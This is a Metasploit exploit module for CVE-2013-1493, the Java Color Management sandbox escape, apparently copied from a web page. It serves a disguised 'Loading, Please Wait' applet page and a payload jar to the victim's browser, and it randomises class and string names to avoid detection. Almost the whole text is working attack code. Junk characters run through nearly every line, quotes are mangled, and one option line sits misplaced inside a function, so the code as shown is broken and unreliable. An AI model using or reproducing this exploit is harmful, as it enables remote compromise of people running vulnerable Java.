##
9 `9 B" [+ j1 x$ ]% K3 `* Y. @# s% K9 v8 p# A, K4 a
# This file is part of the Metasploit Framework and may be subject to
6 I5 J# @; f+ n/ _9 h2 }( G& l8 T' P# redistribution and commercial restrictions. Please see the Metasploit) `1 V7 ^# @2 E
# web site for more information on licensing and terms of use.
- Y B, Z2 I) M- `, v" L# http://metasploit.com/
: W& f ?& V: e& V8 `& |$ B- C! c( {##
. w; A# E3 l* h. B. arequire ‘msf/core’
, O. l7 B+ X; M: P. A* M zrequire ‘rex’: X6 e1 I$ B2 Y5 M. W
class Metasploit3 < Msf::Exploit::Remote1 X; e4 X: w. ` D2 A. X6 K; |
Rank = NormalRanking
; P6 Y: y" ?' | W, [include Msf::Exploit::Remote::HttpServer::HTML" Z( @- t S% m, q+ r$ ~
include Msf::Exploit::EXE
# t' R0 \; t0 \; \3 k; Sinclude Msf::Exploit::Remote::BrowserAutopwn
- s8 L9 O3 m% l* I, \2 lautopwn_info({ :javascript => false })
$ h/ |% a- p9 e# s5 C+ s$ _2 @, Hdef initialize( info = {} )# ~; L' v; x) W' o) g& _' \- c- {. g
super( update_info( info,
: [( y: [2 Y, e) Y; B‘Name’ => ‘Java CMM Remote Code Execution’,
7 N% N- h7 x5 n* j3 i2 s‘Description’ => %q{, b9 q7 [ y$ M+ J3 e
This module abuses the Color Management classes from a Java Applet to run1 z6 o: s3 `1 e; V g1 }2 w
arbitrary Java code outside of the sandbox as exploited in the wild in February
' {4 m! O& C( C5 S9 J8 \and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
, Z( X' c C& M! band earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
: W' W- X0 T9 h, `systems. This exploit doesn’t bypass click-to-play, so the user must accept the java5 K3 T5 H) d% n$ y' r7 ?- }
warning in order to run the malicious applet./ t6 N6 e- ?# }" U' [
},) l& `4 s! E5 A4 L# X9 m
‘License’ => MSF_LICENSE,0 R" B2 q1 G* y
‘Author’ =>4 J9 r) f' _9 _( }8 S+ ?3 a- f
'Unknown', # Vulnerability discovery and Exploit: ^' `( b3 |% M1 a
'juan vazquez' # Metasploit module (just ported the published exploit)! k; o( T. ?% H- M
],
+ J6 e3 D& ^% W" r0 o" J‘References’ =>
+ B8 e; V, P) J6 q* ]1 { z[
6 ]: V' V8 q# R* G# j ^[ 'CVE', '2013-1493' ],
/ @' I. `; I+ _+ G& O7 O[ 'OSVDB', '90737' ],* c% e. ^7 t7 U" l* k/ ^
[ 'BID', '58238' ],) d: V# M, i4 ]& M
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],7 Z. f% V1 ~9 a
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
8 I+ q/ l; K1 Y; X( v; |; `[ 'URL', 'http://pastie.org/pastes/6581034' ]( C% F: b/ k. s
],
9 }1 r2 y7 g. _3 H( S% ^8 G+ [‘Platform’ => [ 'win', 'java' ],+ |6 Y2 t) t2 h; n
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
+ k' g9 W- ]# S/ R+ k6 ^1 Z( S‘Targets’ =>+ Y+ `8 a$ |5 I- ~. h/ F0 [6 V7 `
[
1 e+ F! V7 d' ?[ 'Generic (Java Payload)',
I% \+ [2 |. r* g' e" ]{( m* P4 B6 Q/ q- T6 s$ @! x# X' m
'Platform' => 'java',! @1 r2 Y+ a" z/ w+ z
'Arch' => ARCH_JAVA& E3 G! C; a3 N5 R4 }/ y6 \
}
" n" ]; Q* w( g0 l* H s, o% W],
9 T/ k y" X. [0 d[ 'Windows x86 (Native Payload)',4 l. y: N% L, }- _0 y! P
{0 [7 r/ f, B3 R5 K2 `! M
'Platform' => 'win',
: Y: R2 q/ n' w! Z'Arch' => ARCH_X86
2 C4 Z1 G1 W& s7 f! v+ v3 e}; y' o3 @1 T% g2 P$ V. M( E6 s
]/ A* h$ t- x% o% Y- H' q9 A8 }) ]
],7 V! k/ B) O5 r+ G
‘‘DisclosureDate’ => ‘Mar 01 2013′. _0 @9 M4 {# X' h: ~ b
))% M+ J' r9 `. M
end
/ s3 C4 I( e( b# w4 w$ P: Idef setup
2 D0 U% J @. L9 v& d8 B5 d! N+ m% mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
; a8 F/ d% {9 _+ {& `( f@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }3 g' ^8 n5 L; J' B! t
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
3 ], K4 @% x, ]7 `@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }7 ?' d- O( P" i. G9 A
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)$ s& h& z/ E3 y; R5 J# s' Y
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
8 Y0 t5 i4 b2 V; v% h8 ?2 Bpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
3 R" Y" z0 A- S@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. C% W h7 h9 ~+ ~* Z# g" T' `
@init_class_name = rand_text_alpha(“Init”.length)
3 n( D* p! e# k* D; X; m0 w@init_class.gsub!(“Init”, @init_class_name); b- V2 u# B9 g' K" u
super, s& j/ _1 R: i/ l E
end
9 M1 q+ [9 D# X: [: R2 x; udef on_request_uri(cli, request)
$ `% n+ g w; Z. Y6 r! B$ N% Fprint_status(“handling request for #{request.uri}”)
- R% g& U$ n* r6 v1 d4 t; c, C. Dcase request.uri2 ?7 N0 O3 B* s2 W3 p3 i% c
when /\.jar$/i
: s9 [; ?5 F; Q, q4 _9 M' H% h4 j7 qjar = payload.encoded_jar0 g7 l9 ^, B: M- `1 K0 h' F) J
jar.add_file(“#{@init_class_name}.class”, @init_class)
. E, n3 P# y& b0 \& d2 ]1 hjar.add_file(“Leak.class”, @leak_class)/ w! U5 I% w9 D* l7 g. o; V$ k
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
, ^! C; m# H* b' ]jar.add_file(“MyColorSpace.class”, @color_space_class)
; @& t1 b3 y) \0 KDefaultTarget’ => 1,
. D7 A/ a! b# q/ `metasploit_str = rand_text_alpha(“metasploit”.length)
0 W/ C5 |) c c3 L) |payload_str = rand_text_alpha(“payload”.length)+ l& K/ `6 j) c* F! l/ D" x5 H/ ^8 r
jar.entries.each { |entry|
/ D' S4 M* ?! _* S) U5 G* qentry.name.gsub!(“metasploit”, metasploit_str)/ P7 V2 a0 }# @) c! L! ^
entry.name.gsub!(“Payload”, payload_str)
$ w0 @) G. E" S4 `$ tentry.data = entry.data.gsub(“metasploit”, metasploit_str)
+ {, @. X8 }) W: \: `+ Sentry.data = entry.data.gsub(“Payload”, payload_str)
1 K; i9 D6 ]0 U( X}0 K) _. G( p0 H) p8 |: h1 b3 L
jar.build_manifest
5 ]# {+ d5 r, w9 bsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
; v! k) F' s7 c! j- Gwhen /\/$/( y$ V" r8 c, T Q: R
payload = regenerate_payload(cli)
) l+ w Q% L; r2 l0 [6 d' c& \if not payload
% e6 o, n; z* ^, Qprint_error(“Failed to generate the payload.”). A; ^3 \ p+ ~# \) m W
send_not_found(cli)$ A. S+ ^3 c. a( }
return
; d/ k" C) j1 c9 D5 Zend2 K9 S# c7 L+ |7 V5 e
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
, y2 @6 R! ^0 I' v, |1 helse- C7 Y* R: J+ g- c
send_redirect(cli, get_resource() + ‘/’, ”)
0 v8 T% v- L( V! U L. J7 \end5 u: q( |- }+ U% M0 o' ?. P
end
F% M+ r/ D1 p( X: E8 U7 `& Y; \def generate_html
* C9 x1 H9 `+ A4 x. {html = %Q|<html><head><title>Loading, Please Wait…</title></head>|5 g4 B. c/ x7 M* C& u$ Q Y' C
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|* B4 G( E7 j- i& x
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|/ |7 m6 z7 q5 ]7 X7 k! J
html += %Q|</applet></body></html>|# n7 y, [- c3 ]' ^. N, H) s
return html/ ~& _3 j4 z3 y1 A2 n
end; Y9 U6 L" D4 C: W7 b+ f$ [
end
4 @* @4 @; A9 K. xend4 B$ ]0 B! p. x- i! [6 b
|